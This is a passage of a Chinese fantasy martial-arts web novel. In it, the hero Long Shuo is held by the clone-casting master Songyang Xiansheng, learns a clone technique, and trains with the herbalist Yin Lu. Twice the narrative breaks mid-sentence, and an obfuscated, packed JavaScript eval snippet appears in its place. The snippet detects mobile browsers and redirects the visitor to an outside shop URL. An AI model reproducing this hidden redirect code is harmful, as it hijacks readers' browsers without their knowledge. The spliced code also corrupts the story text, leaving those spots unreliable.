他关上篱笆小门后,乍一转身,却见那男子竟突然出现在了自己面前,不禁疑惑地揉揉眼,暗想那男子刚刚明明还在院里,怎么眨眼的功夫就跑到了院外。 他正自纳闷,却突然被那男子一掌击中胸口,整个身子凌空而起,又摔回到了院中! 身后一男子厉声道:“小子,你须得明白一点,在这个世界上,没有人能管得了我,并且,也没有几个人,是我管不了的——” 身后仍是那男子的声音。 龙烁惊得呆了,他抬头一看,那男子此时仍然站在篱笆门外,但他的声音却是从后面传来,回头一看,那男子又赫然出现在自己身后。 竟有两个一模一样的人! “你们,你们是双胞胎吗?” 龙烁感到有些毛骨悚然,他站起身来颤声道:“怎么你二人长得一模一样?” “爹爹!”尹鹭劝说:“这人还有事要办,你换一个人折腾吧!” 院外那男子道:“可以啊,哼哼,他只需胜过了我,便可随时离开!” 院内这男子道:“不过我丑话说在前头,普天之下能够胜得了我松杨子的人还真没有几个!” “松杨子?”龙烁惊道:“您是松杨先生?” “是啊,不然你以为我是谁?” “我刚看到您施展了变身术,以为您也是松杨先生的弟子,原来松杨先生竟是您本人,我实在没有想到松杨先生竟会如此年轻!” “呵,你小子很会说话,我虽然已经年过花甲,却还是喜欢听到这些奉承之言,不过你不要以为这样说我就会放了你,哼哼,实话告诉你吧,你已经被我盯上了!” “前辈此言何意?” “我说得不够明白吗?想走的话只有一个办法,那就是胜过了我!” 龙烁暗想怪不得刚刚尹鹭姐姐要我别说话赶紧走,原来这松杨先生好勇斗狠,竟然喜欢跟人打架。 龙烁又想起刚刚这松杨先生连母鸡和八哥也不放过,当真是心狠手辣,他直言不讳:“实不相瞒,晚生不会武功,肯定打不过您,请您另寻高人吧,告辞!” 龙烁往院外走去,却又被第三个松杨先生挡住了去路。 只听那人道:“谁说我要跟你打架了?” “不打架?那我怎么胜过您?” “你可知道护体三身术?就是我自创的三种护身法术!” “当然,您现在施展的不就是分身术嘛,啊对了,我的好兄弟古辰,便是您的弟子吧!” “古辰是你兄弟?”这松杨先生兴奋非常:“这小子聪明得很,我很喜欢他,他只用了两年的时间就学会了我的变身术法,是我的得意门生之一,以后他就是你的师兄了!” “啊?前辈您到底想要干什么?” “我的三种护身法术,你可以任选一种学习,什么时候你能让我找不到你了,你就赢了——” “啊!”龙烁顿时松一口气:“原来您是想教我护身法术,这我求之不得,晚辈先行谢过!只是我现在还有要事在身,等我把事情办妥了,再来跟您学习。” 又一个松杨先生突然出现在龙烁左边:“不行!” 这是第四个,只听他道:“我这人一根筋,说一不二,谁只要被我盯上了,至死我都不会放他走的!” 第五个松杨先生出现在龙烁身后:“实话告诉你吧,迄今为止,能够战胜我的人屈指可数,你的好兄弟古辰便是其中之一,其余之人,哼哼,不是被我玩死就是被我折磨得了无生趣自杀而死!” 第六个松杨先生不见其人只闻其声,竟是隐身的。 只听那人道:“所以,如果你要走的话,唯一的办法,便是让我无法分辨你的真身在哪,这样你才有机会离开!” 龙烁惊讶得合不拢嘴,暗想:“天下怎会有人硬是要逼别人学习自己的法术?术业有专攻,这护体三身术既是由他所创的独门法术,自然没人能轻易胜得了他,更别说像我这样全然不会武功术法的普通人了!” 忽然,一位松杨先生拍了一下龙烁的肩膀:“不过你也不用害怕,我的护体三身术功力高低与内力深浅并无关系,主要是看悟性!” 又一位松杨先生凑到龙烁耳边低声道:“曾经有个绝世高手被我困住,他跟我苦战七七四十九天也逃不出我的手掌心,最后竟然不甘受辱自绝经脉而死,你说他是不是很傻?这种傻人我其实非常不喜欢——” 一时间,周围满是一模一样的松杨先生。 龙烁实在分不清到底哪一个才是他的真身,不禁心下恐慌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329895|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他暗想,看来古兄也曾像我一样被松杨先生这样困住,后来凭着自己的聪明才智和刻苦努力,最终以变身术法战胜了他! 还有那个陈糠粟,看来他也曾经用隐身术法成功地战胜了松杨先生! 一想到陈糠粟,龙烁就气不打一处来,也不知道红叶现下到底怎么样了,倘若她当真受到了侮辱,陈糠粟固然难辞其咎,这松杨先生绝对也难逃干系,于是愤愤道:“那陈糠粟卑鄙无耻,好色至极,您为什么传授他隐身术功夫?” “啊,你竟连他也认识?” “呵,恐怕这天底下,没有几人不认识他!” “啊!”站在龙烁身后的那位松杨先生道:“他好不好色我并不在乎,我只看这人是否聪明机敏,这是我收徒弟的唯一标准!” “啊?”龙烁不解:“您为什么一定要找聪明机敏的人学习护身法术?” “因为越是聪敏的人才能越快学会我的护体三身术法!” 看到龙烁迷茫的眼神,一位松杨先生解释:“你可知当世术法大体分为两种,一种是真功夫,需要凭实力一点一滴日积月累地精进才能练到至臻境界,例如天下闻名的龙氏锥风术、燕氏寒冰术等等,而另一种就是诈术,也被称作是幻术,例如姬希的靡音术、齐若夷的乱真易容术,包括我的护体三身术,都属于这类的法术。” “这类法术并不难学,关键是要掌握要领,所以悟性很关键,只有聪明机敏之人才有极高的悟性,教导起来也省心得多,所以你知道我为什么喜欢聪明的人了吧?” “噢!”龙烁似是想明白了些。 “不过,陈糠粟却是个例外!” 另一位松杨先生忽地从龙烁面前走过:“我遇到他的时候他还只是个少年,我看他敦厚可爱,就愿意逗一逗他,我本以为他会和别人一样,会因受不了我的百般纠缠而选择自尽,可是没想到这小子耐性极强,这一点非常打动我,他虽然愚笨,却有一股不放弃的韧劲,他陪了我整整十年,他用这十年的时间终于将我的隐身术法修炼的炉火纯青,也算有魄力!哼哼,如今只要他施展隐身术法藏匿身形,普天之下再难有人能够轻易找到他!” 龙烁不敢苟同,心中暗想:“你说的不对,徐若谷前辈曾经两次轻而易举地就发现了这个无处不在的采花大盗陈糠粟!” “老实说,你也并未达到我收徒的标准,不过你却有一个优点,那就是能听懂它们讲话!” 站在龙烁身旁的这位松杨先生指着那些小动物们说:“以后你就留在我的身边做个译语之人,给我翻译一下它们整天叽叽喳喳地都在说些什么,那么我便勉为其难收你为徒,传授给你我的护身法术,这样你也不算吃亏!” “啊?” 龙烁暗想自己与古兄相比,不论武功还是智谋都远逊于他,连他那么聪明的人都需要用两年的时间才能学会变身术法,若是换作自己去学,恐怕五年十年都不一定能学会。 他连连摆手:“您让我一直留在您的身边,那是万万不能的,我真的还有要事在身,必须尽快处理,还是请您另寻高徒吧!” 他绕过身前的松杨先生快步往院外走去。 忽听“砰”的一声响,龙烁的脑袋重重地撞到在一个隐形人的身上。 又是一个松杨先生的分身。 只听那人在龙烁耳边低声说道:“小子,我告诉你一个秘密,在我这里,每个人都觉得自己是个例外,想着不学我的法术便能神不知鬼不觉地离开,然而结果呢,哼哼,根本无一例外!” 那人说着忽地现了身,将手中的物事提在龙烁面前问:“你听它的叫声像不像老鼠,你知道它在说什么吗?” 龙烁定睛一看,是一只漆黑如墨的蝙蝠,顿时吓了一大跳。 只听那蝙蝠拍着翅膀尖声叫道:“你他娘的快放了老子,否则老子要对你不客气了!” 龙烁漫不经心地转述:“它说,你他娘的快放了老子,否则老子要对你不客气!” “嗯!” 那松杨先生微微点头,又捏起一只老鼠的尾巴问:“那它呢?它在说什么?” 龙烁仔细一听,那老鼠竟然骂道:“你个老不死的将我囚在这里,我诅咒你祖宗十八代!”,于是又冷冷地转述:“它说,你个老不死的将我囚在这里,我诅咒你祖宗十八代!” 只听一名女子扑哧一笑,龙烁这才发现原来尹鹭此时正站在门口看着他们。 “臭小子,你耍我!” 那松杨先生一把抓起龙烁的衣襟呵斥:“我看这不是它们说的而是你说的吧?你是不是活得不耐烦了?” 一刹那间,所有的松杨先生蜂拥而上,一齐对龙烁拳打脚踢,痛得他哇哇大叫:“这不是我说的啊,哎呦,痛死了,真的不是我!” “哼!你想跟我比耐心是吧?” 一位松杨先生指着龙烁的鼻子道:“我承认,我松杨子确实很没有耐心,不过对付人的手段却毒辣得很!我限你今日选定一种护身术法,背过心法口诀和首章内容,明日我来检查,如若你没有背过,哼哼,刚才那只八哥便是你的下场!” 说话之间,所有的松杨先生忽然间消失不见,只听到无数男子的笑声回荡在四面八方,片刻之后,归于宁静。 龙烁揉着胳膊站起身来,大大地松一口气,暗想:“这松杨先生怪诞不经的样子丝毫不亚于那徐若谷老前辈,莫非所有能够创出旷世奇术的世外高人都是如此疯疯癫癫的?” 他正自感叹,却见尹鹭端着药罐往院外走去。 “小鹭姐姐!”龙烁叫住她:“我看你爹爹疯疯癫癫的,是不是练功练得有点走火入魔了!这会儿他终于离开啦,我也得赶紧走了哈,否则等他回来了我又要被他缠住了,姐姐,后会有期啊!” 龙烁刚一打开篱笆小门,便听见尹鹭在身后悠悠地叹一口气:“没用的!” 龙烁正欲询问她“什么没用”时,却忽然被一个隐身人一掌又拍回了院中。 尹鹭摇摇头:“这四周都是他的隐形分身,你走不掉了,还是赶快学习护身法术吧!我要出去采药了,晚点才会回来!” 她关上篱笆小门,径自向林中走去。 “姐姐,喂,小鹭姐姐!你别走啊,我真的有事,得快点离开这里——” 39.药师秘术 龙烁尚未起身,忽觉有什么东西在自己手背上蠕动,抬手一看,却是一条大蜈蚣,顿时汗毛倒竖,拼命甩手跺脚。 那蜈蚣大叫:“妈呀,吓死我了,快跑!” 它扭动身子迅速向茅草屋的墙根底下钻去。 那只老母鸡扇动着翅膀来到龙烁身旁:“小伙子,谢谢你刚刚救了我,你怎么能听懂我讲话?” “咦?”一只小兔子惊讶万分:“我也听懂你们讲话啦,这是怎么回事?” “额!” 龙烁定下心神,看着这满院子的飞禽走兽,咽了咽口水:“这应该是我的通灵之术在起作用!” “咯咯,不错不错!” 一只八哥绕着龙烁飞快旋转:“这个小院里曾经来过那么多的人,只有你能跟我们讲话!” 一只刺猬爬过来问:“你能听懂我讲话嘛?” 龙烁点头:“是的,可以!” 那刺猬道:“你能放我们离开这里嘛?” 龙烁尴尬一笑,仰天长叹:“恐怕连我自己都走不了了!” 正失落间,一只老鼠忽然从草丛里探出半个脑袋:“你学会那人的法术,便能带我们离开,我曾经见过一个瘦高的男子变成一只小虫,趁他们不注意的时候飞快地跑掉了,当时我拼命大叫,求他带我们离开,他却头也不回地走了!” 龙烁暗笑:“那人又没有学过通灵之术,自然听不懂你们讲话,更不可能知道你们也想离开这里了!” 一只巨大的肥蜗牛恳求:“那你赶快学会那老头儿的法术,带我们一起逃出去吧!” 这蜗牛虽如成年人的拳头一般大小,但行动起来却十分缓慢。它柔软的身躯如汉白玉一般晶莹剔透,两只长长的触角从头部伸出来朝着龙烁轻轻摆动,像极了天线宝宝。 放眼望去,不大的小院中到处都是各种小动物,均自用期待的目光怔怔地瞧着龙烁。 龙烁犹豫片刻,长叹一口气:“红叶,你可一定要等我啊!” 做好心里建设后,龙烁问:“你们可知那护身术的术法秘籍在哪里吗?” 一只鹦鹉叫道:“我知道我知道,就在茅草屋中,稻草堆的下面!” “好,我去看看!” 小动物们终于看到希望,叽叽喳喳地围绕在龙烁身旁。 龙烁回到茅草屋中,在稻草堆里来回摸索,果然找到三本泛黄的图谱,上面分别写着“隐身术”“分身术”“变身术”。 龙烁翻开变身术图谱,上面的序言写道:“夫变身术者,三身术之中至难之术者也,盖其以万物为纲,万象为常,修此术者,务须顺天地之道,应万物之变,宁心静气,以观其徼,秋毫本末,存熟于心,方得大成”云云。 他暗想原来这变身术是这三种护身法术中最难的法术,需要认真观察万事万物,将其形状特点了然于胸,变身之时才能得心应手。莫非松杨先生养的这许多小动物,竟是用来观察以便助其修习变身术法的? 龙烁又翻开隐身术图谱,上面写道:“夫隐身术者,三身术中至易之术者也,修此术者,务须全神贯注,攘外安内,夜以继日,勤加修习,方能大成”云云。 原来这隐身术是护体三身术中最容易学的,只需要关注自身,勤加修习即可。 龙烁暗想这变身术法最是难学,古兄却仅用了两年时间,那隐身术最易学成,陈糠粟却用了整整十年,看来松杨先生说的没错,修习他的法术,可能真的是需要天赋的! 既然变身术法如此难学,龙烁自然不去选它,然而隐身术法虽然简单,他却总感觉这种法术使将出来不甚光明正大。 左思右想,龙烁拿起第三本图谱,只见上面写道:“夫分身术者,三身术之中至繁之术者也,其妙在纷繁多诡,真伪难辨,修此术者,须以易经筑基,以八卦为石,虚实方位,成竹于胸,方得要领!” 向后翻看第一章节的内容,龙烁不禁惊喜万分,原来这第一章里便是八八六十四卦的卦象和方位,暗想自己小的时候曾仔细研读过易经,这些卦象和方位早已烂熟于心,他暗自窃喜:“真是天助我也!” 翻开第二章,原来便是分身术的内功心法,上面写道:“东西为工,南北大同,合散无常,万变其宗。虚而化实,实蓦化之,虚伪真实,莫我先知。霜露难辨,云雾莫断,影随身转,身随心变......”云云。 龙烁大致浏览了一下,这内功心法竟有数十页之多,向后翻去,却见上面画有无数人像。 这些人像体内真气回旋流转,脚下步法诡谲多变。 原来这第三章的内容讲的便是对敌之时内劲的运使和步法的控制。 翻至最后一页,却是分身术的心法口诀,只有短短几个字:“一三五七个十百千万!” 龙烁暗自惊叹:“这松杨先生果然厉害,他深谙易理,又将其与术法结合,这句心法口诀虽然看似简单,实则需要用易理贯注,自繁入简由难而易,修习之时虽然纷繁复杂,使将出来却是厚积薄发,内含无穷变化!” 龙烁本就对易经之学兴趣浓厚,而这分身术法又依托易经八卦繁衍变化,更是激起他学习的欲望。 他对这分身术图谱爱不释手,捧着它在屋中来回踱步。 不自觉地陷入沉思,龙烁一时间忘记了那群叽叽喳喳的小动物。 最吵闹的是那只鹦鹉,它绕着龙烁不住旋转:“喂,你决定要学哪个了吗?喂——” “别吵啦!”那老母鸡咯咯劝说:“大家安静,咱们都出去吧,都出去,让他好好学,认真学,咱们还得指望人家带咱们出去呐!” 老母鸡忽闪着翅膀轰大家出去。 小动物们虽然极不情愿,却也识趣地鱼贯而出,回到院中。 龙烁自顾自地背诵内功心法,不知不觉竟已经到深夜,抬头一看,却见床榻旁边摆放着几个馒头和一盏油灯。 不知何时小鹭姐姐来过—— 昏暗之中,火光晃动,茅草屋内一闪一闪的别有一番意境。 龙烁放下图谱,拿起馒头狼吞虎咽,吃毕,他转身来到院中。 小动物们已回到各自屋舍,月光如水般倾泻而下,照得小院里一片安静祥和。 东北处有人影闪动,龙烁定睛一看,却是尹鹭。 她此时正在清理鸡舍,见龙烁出来,起身问道:“你不再背啦?” “嗯,小鹭姐姐,谢谢你的馒头!” “我见你看书看得入神,便没去打扰,呵呵,说实话,我是第一次见到读书读得这么认真的人!你背过了多少页啦?” “啊,分身术的内功心法,我基本上已经都背过了!” “什么?数十页的内容你全背过了?” “是啊!” “我不信!” “你不信?那我背一遍给你听——” “呵呵,那倒不必!” 尹鹭疲态尽显,径自去屋中整理稻草:“现在已经很晚了,你既已背过内功心法,明日再去背那易经八卦吧!” 龙烁跟进屋来:“易经八卦我也背过了!” “什么?骗人!” “我没有骗你啊,小鹭姐姐,不信我背给你听!” “好啊,你背——” “那我就从六十四卦的卦象和方位背起吧,你听好了!乾为天,天风姤,天山遁,天地否,风地观,山地剥,火地晋,火天大有。坎为水,水泽节,雷水屯,水火既济,泽火革,雷火丰,地火明夷,地水师.....” 从卦象方位,到爻辞和卦辞,再到内功心法,龙烁足足背了半个时辰,尹鹭也足足惊讶了半个时辰。 待到龙烁背完时,尹鹭已惊得合不拢嘴。 “我背完了,没骗你吧?” “你——你以前是不是偷偷学过分身术?”尹鹭喃喃道:“不可能啊,这几本图册一直是由我保管,没有被偷过啊——” “啊,小鹭姐姐,你别多心,这易经八卦的部分,我小的时候就会背了,这数十页的内功心法才是我今天背的!” “啊,原来是这样!”尹鹭微微点头:“你仅用短短半天的时间就背过数十页的内功心法,也很难得了!” “姐姐,松杨先生的护体三身术,你会使吗?” 尹鹭摇头:“我虽不会使,但是这三本术法秘籍一直由我保管,里面的内容我也略知一二!” “那太好啦!请教小鹭姐姐,虽然我已经背过内功心法,但是刚刚试了几次,却怎么也没办法分身出来,是不是由于我内力不足的缘故?” 尹鹭摇头:“练成这法术跟内力深浅并没有关系,却跟毅力和耐力有很大关系,万事开头难,只要能成功分身一次出来,后面便会容易很多!” “噢!那有什么办法能快点分一次出来?” “修习此术需要意念非常集中才行,如果你一直无法分身出来,不妨试试让自己身处险境,或许能有意外的收获,要知道人在危难时刻,往往能够急中生智,发挥出意想不到的力量!” “但是如果你还没有将内功心法和方位变化运用纯熟,那就不能冒险,因为只要分身一出,内劲便需要源源不断连续供给,否则一旦跟不上,被分出的假身便会瞬间消失不见,真身显现反而更加危险!” “哦哦!” “姐姐见你为人敦厚谦恭有礼,对你的未婚妻子又极负责任,所以才告诉你其中玄机助你一臂之力,这些我可不是谁都告诉的!” “哦哦!”龙烁拱手:“多谢小鹭姐姐提醒!” “不必客气!” 龙烁望向门外,此时已经月上中天,忽然隐隐有些不自在,问道:“姐姐,这里莫不是你的住所吧?今晚我在院中休息便了!” “咱二人孤男寡女共处一室,你是怕对我的名誉不好是吗?”尹鹭微笑:“你在我的草榻上不是已经睡了三天三夜了?” “此一时彼一时,那时我深陷昏迷,自然另当别论,现下我已经恢复了意识,再不可与姐姐同在一屋中休息了!” “呵呵,无妨!我在稻草堆睡就好,不会被你打扰!” “这绝对不行!” 龙烁抱起稻草走向院中:“我在外面睡就好!” 尹鹭叹道:“你这孩子的确有些与众不同,那在你吧!” “难道别人不是这样吗?”龙烁好奇:“小鹭姐姐,我有一个疑问,不知当讲不当讲!” “你说便是!” “小鹭姐姐你温柔貌美,松杨先生为何要把像我这样的陌生男子困在你的家中?难道他不担心你吗?” “呵,有什么可担心的,难道我还会受人欺负了?” 龙烁暗想古辰兄是正人君子自不必说,莫非连那陈糠粟也能禁得住美人诱惑? 尹鹭淡淡一笑,从胸前取出一黑一白两个小瓷瓶:“药毒同源,姐姐既是药师,可不是只会制作解药,你知道这两瓶里装的是什么吗?” 龙烁见这两个小瓷瓶均只有拇指大小,圆滚滚的甚是可爱,好奇道:“不知,里面装的是什么?” “这个是我自制的弗灵水!” 尹鹭指着黑色的小瓷瓶:“只需一滴,便可将人的内力暂时压制,几天也使不出来!” 她指着那白色的小瓷瓶:“这个是我最新研制的听话水,皮肤接触到一点就会变得如小狗一般听话——” 她眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336147|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛一挑,向碗中剩下的两个馒头瞟一眼,朝龙烁笑了笑。 龙烁一怔,指着那馒头:“小鹭姐姐,莫非,莫非你给我吃了这个听话水?” 他连忙转身去抠嗓子眼,却怎么也吐不出刚刚吃下的馒头。 尹鹭扑哧一笑:“逗你玩的,我没有给你吃,呵呵,看把你吓得!你放心,像这两种东西,我只会留着给陈糠粟那样的人吃!” “哦哦!” 龙烁终于放下心来。 “不过我最近正在研究一种新的红色药水,叫作反行水,接触皮肤之后,想做什么都会反其道而行之,这个是不是很厉害?我若是制成了可以给你尝试一下,看看会有什么样的效果——” “啊不必了,谢谢姐姐,我可是正人君子,不会做出格的事,不必给我试了,呵呵!” 他说着身子一歪,躺到了稻草堆里。 “呵呵,我是在跟你开玩笑呢!”尹鹭咯咯娇笑。 龙烁嘿嘿一笑:“姐姐真是厉害,不但医术高超,还能制作出来这么多的神奇药水,说你是当代华佗也不为过——” “那可不是,你别乱说!”尹鹭连连摆手:“人家华佗是有传人的,他的第四十代传人可是江湖上出了名的妙手医仙,名字叫做霍云天,人送外号‘鬼见愁’,你听说过吗?” 龙烁摇摇头。 “听说这人可神奇了,死人都能给医活!哪怕身体被大卸八块了也能重新给缝合好,这活儿我可干不了!” “这么厉害,是真的吗?有那么神么?” “当然了,据说这人可心善了,他看病从来不要钱也不图回报,只是很难找,江湖上很少有人找到过他!要是你被仇敌打残了,又能够有幸遇到他的话,那真是老天眷顾捡回一条命!” 龙烁连连摇头:“这种事情绝对发生不到我的身上——” “是吧!我说也是——”尹鹭赞同:“谁能有那么好的运气遇到他——” “我是说我绝对不会被仇敌打伤打残!我可是正人君子,纯纯的好人一个——” 尹鹭噗嗤一笑,问道:“你有多正人君子啊?” 龙烁正正衣襟:“父亲从小教导我做人要光明磊落正直坦荡,我发誓,我可一直都是努力这么做的!” 尹鹭微微一笑,叹道:“你让我想起一人,他如你一般也是一个正人君子,只可惜,我再也见不到他了!” 龙烁暗想难怪她已经二十多了仍未出嫁,原来她心里面一直住着一个永远无法再见面的人,于是劝说:“人有悲欢离合,月有阴晴圆缺,自古以来便是如此,姐姐你不要太伤心难过了!” “嗯!” 尹鹭不再言语,走进屋中关了房门。 烛光闪烁中,龙烁看到纸窗上尹鹭的身影似在擦拭眼泪,又过了一会儿,屋中熄了灯,他这才放下心来,翻身睡去。 到得第二天清晨,天光未亮,龙烁发现尹鹭竟又出去采药了。 秋风瑟瑟,树叶被微风吹地哗啦啦地响,四下里一片凉爽之意。 龙烁一伸懒腰,感觉精神饱满体力充沛,不自觉地想起昨晚背诵的内功心法来。 院中的小动物们还在沉睡之中,他不忍打扰,于是默默练习内劲的运使和步法的控制,轻手轻脚地在小院中挪动起来。 不大会儿的功夫,小动物们陆续出动。它们见龙烁在院中来回穿梭,都远远地躲在一旁不去打扰。 又过了一会儿,龙烁自觉已经熟练掌握内功心法和步法的控制,又见周围已经天光大亮,便开始想着按照八卦的方位尝试变一个分身出来。 他围着震、离、兑、坎,即东、南、西、北这四个方位转了两圈,每到一个方位便快速催动咒术,然而却是一个分身也变不出来。 他又顺着巽、坤、乾、艮,即东南、西南、西北、东北这四个方位快速挪动,口中默念咒语,内劲源源不断,几圈下来,却仍是一个分身也变不出来,不禁一阵懊恼,在院中来回踱步。 正踌躇间,龙烁忽然想起昨晚尹鹭姐姐的提示,想着莫非必须让自己身处险境才能将分身激发出来? 他看看小院周围,脑中灵光闪动,打起那些隐形分身的主意。 他假装背诵心法口诀,小声嘀咕着在篱笆周围走来走去,耳朵却仔细倾听外面那些隐形分身的动静。 此时外面除了树叶哗啦啦地声响再无其他,暗想莫非这些松杨先生的隐形分身仍在沉睡?若是当真如此,那么他趁此机会溜之大吉岂不是更好? 龙烁蹑手蹑脚地打开篱笆小门,然而左脚刚一踏出门外,忽听一阵劲风袭来,胸口被人重重击了一掌,他连退三丈,又回到了院中。 龙烁不知外面到底有多少隐形分身,于是假装喝骂:“你们简直欺人太甚,偷偷摸摸地算什么英雄好汉,有本事现身出来跟本公子较量,看我不把你们打成肉酱!” 只听东首一人忽然大叫:“你小子不必使用激将之法,你的武功术法如何我们早就心知肚明,绝对不会上你的当!” 西首一人喊:“你就老老实实的在院里练习法术便了,松杨先生即刻就到,一会儿有你受的!” 龙烁暗想这些隐形分身的思想既独立又统一,完全按照松杨先生本尊的旨意行事,他们既然不愿意现身,那么只好硬着头皮迎难而上了。 龙烁解下腰间丝绦蒙住双眼,以便集中精力辨别劲风的来势和周围的动静。 他耳朵微微闪动,发觉东南西北均有人声,立即闪身向着篱笆小门快速跑去,到得门口时又忽地戛然而止。 果然,那些隐形分身也快速向小门聚集,脚步声中,龙烁暗觉这里恐怕至少得有十人以上。 40.倾囊相授 龙烁顾不得多想,他纵身一跃,跳至院外与那些隐形分身拼斗起来。 耳朵微微闪动,他听到左耳和右腿旁分别有一股劲风强势来袭,连忙伸出左臂,抬起右腿奋力挡隔。 只听铛铛地两声轻响,三人四肢相互碰撞,龙烁竟真的抵住两名隐形分身的双路夹击。 欣喜之下,他趁机反攻。 左手挥出一掌,右腿踢出一脚,两名分身应声倒地。 见状,众分身纷纷发出惊叹之声。 一人疑惑:“怎么这小子蒙上了眼睛反而武功大增?咱们不如现出身来跟他较量?” 另一人反对:“难道我们这许多人还打不过他一个?” 击退两名隐身分身的袭击,龙烁顿时信心倍增,趁那些人说话之际,他合十双手催动分身术:“艮位,破!”,想着在东北方向分出一个假身与自己共同作战。 咒语一出,龙烁便迫不及待地取下丝绦看看自己到底有没有分出身来,然而事与愿违,周围却是空空如也,不禁大感失落。 北面一名隐形分身大叫:“上!” 众分身从四面八方一拥而上。 躲闪不及,龙烁全身上下接连中招,不一会儿功夫便被打倒在地,哎哟哎哟地痛苦呻吟起来。 忽听一女子的声音大叫:“住手——” 是尹鹭采药回来了。 那些隐形分身不敢再继续造次,纷纷回应:“是!”,随即四散开来退回到小院之外。 尹鹭扶起龙烁,见他眼角红肿,嘴角紫青,叹一口气:“你又想硬闯出去了?我不是说过了,你逃不掉的!” “不是的,小鹭姐姐,哎哟!”龙烁揉揉胸口:“我只是在练习分身法术!” “呵,可笑,练习分身术法怎会被他们按在地上来打?” 龙烁又揉揉屁股:“不是啊,姐姐你不是说,把自己置身险境更容易激发出潜在的力量嘛,所以我就引他们过来跟我打架,看看能不能分身出来啊!哎哟,我的屁股好痛!” “呵,这倒有趣!”尹鹭抿嘴一笑:“不过你太也不自量力,难道你以为把易经八卦的内容记牢了便能练成分身术了?” “刚刚我把第三章内劲的运使与步法的控制也练会了,可还是无法分身出来啊!” “你把第三章练会了?那可是需要前两章的配合!” “嗯!”龙烁皱起眉头:“只是不知为何,我就是无法分身出来!小鹭姐姐,要不请你看看我到底哪里做得不对行吗?” “呃——”尹鹭微感惊讶:“行啊——” 龙烁缓步走到小院中央,面朝北,背朝南,开始催动内力。 他双手自丹田处微微提起,脚下按照顺时针的方向变换步法,口中大声背诵内功心法。 右脚忽地跨出,龙烁来到震位:“东西为工,南北大同,震位,破——” 随即他身子向左后方一转,改为面部向南,背部朝北,双手聚拢,食指向前:“合散无常,万变其宗,离位,出——” 旋即,他脚下迅速变换步伐,身子微侧,来到兑位:“虚而化实,实蓦化之,兑位,显——!” 紧接着,他翻身在空中打了一个转,又去到坎位:“虚伪真实,莫我先知,坎位,现——!” 而后,又以坎位为中心,依次去到前面的巽位、坤位、乾位、艮位,继而又以艮位为中心,依次去到遁位、咸位、旅位、小过位、渐位、蹇位、艮位、谦位,接着反身来到坤位,以此为中心依次去到否位、萃位、晋位、预位、观位、比位、剥位。 龙烁依照分身术图谱的记载在小院之中快速闪动。 随着最后一句“形消影散,万法归一”背诵完毕后,龙烁刚好又回到小院中央。 尹鹭惊讶地合不拢嘴。 龙烁收功闭气之后挠挠头:“小鹭姐姐,按照我的理解,我每到一处就应该分一个假身出来留在原处,真身顺势变换到下一个方位继续分身,如此一来,才可以一生二,二生三,三生一万,可是,为什么我却始终连一个假身都分不出来呢?” 尹鹭摸摸下巴,想起当初曾有人用将近两年的时间才将易经八卦的内容学得融会贯通,而后又用两年的时间才练会分身术的内功心法和步法控制,而真正分出假身练成分身术的时候却是又过了两年。 她怎么也想不明白龙烁这孩子为何能在短短一天的时间内便将分身术的内功心法和步法变换,甚至是易经八卦的道理全部融会贯通,并且将这一套完整的分身术招式比划地丝毫不差。 她顺着龙烁刚才留下的脚印一一瞧去,又看见他脸上满是疑惑的神情,叹道:“人不可貌相,海水不可斗量!” 看着尹鹭不敢相信的样子,龙烁问:“小鹭姐姐是在疑惑我为何学得如此之快是吗?” 尹鹭不住点头。 对此,龙烁刚才练功时也颇感惊讶,但又想起前几日白泽在临死之前说它已经将通灵之术传给了自己,从此以后不管学什么都会很快,这才想明白其中道理,但考虑这其中的原委始末暂时不能同别人讲,于是说道:“其实我也很纳闷,不过我想主要原因大概有两个,一是我寻找未婚妻子心切,一刻也懈怠不得,于是发挥出了内在的巨大潜力。二是我自觉与松杨子先生十分有缘,我二人都喜好研习易学经典,可算得上是志同道合兴趣相投,因此我来学习他自创的法术,自然也能够左右逢源得心应手了!” “呵,有意思!” 尹鹭忽然陷入沉思,在院中徘徊两圈:“不过有一点你还没有弄明白,而且,身陷险境不等同于自找麻烦,你随我来!” 未及反应,龙烁便被尹鹭携着纵身一跃,跳到了篱笆院外。 二人刚一落地,又忽地腾空而起,跃上一棵参天古树,未等龙烁站稳脚跟,他又被携着沿树顶一路向东北方向飞去。 劲风从耳旁簌簌划过,吹得龙烁的耳朵刺痛不已,他大喊:“小鹭姐姐,原来你的轻功这么好啊!” 他顾不得男女之间授受不亲的礼数,双手死死抓住尹鹭瘦长的手臂,生怕自己掉了下去,他心念一转,连忙提醒:“姐姐,既然你已经带我离开了篱笆小院,能不能先放我走?等我找到红叶之后我一定带她过来感谢你!” 尹鹭并搭话,径直带他来到一处悬崖边上。 旁边是一片茂密的松树林。 尹鹭将龙烁放下来道:“小兄弟,你刚才说的那一番话我十分认同,既然你我志同道合我便不再戏弄于你!” 她说着摇身一变,竟化作了松杨先生。 龙烁背上立时生出一身冷汗:“松杨先生,你,你是本人吗?” “不错!” 龙烁暗暗惊奇,原来这松杨先生的变身术法不但可以变物,还也可以变人,相比红叶的乱真易容术法却是又高出一截! “小鹭姐姐去哪里了?” “她出去采药尚未回来!” “那——那你为何冒充小鹭姐姐来骗我?” 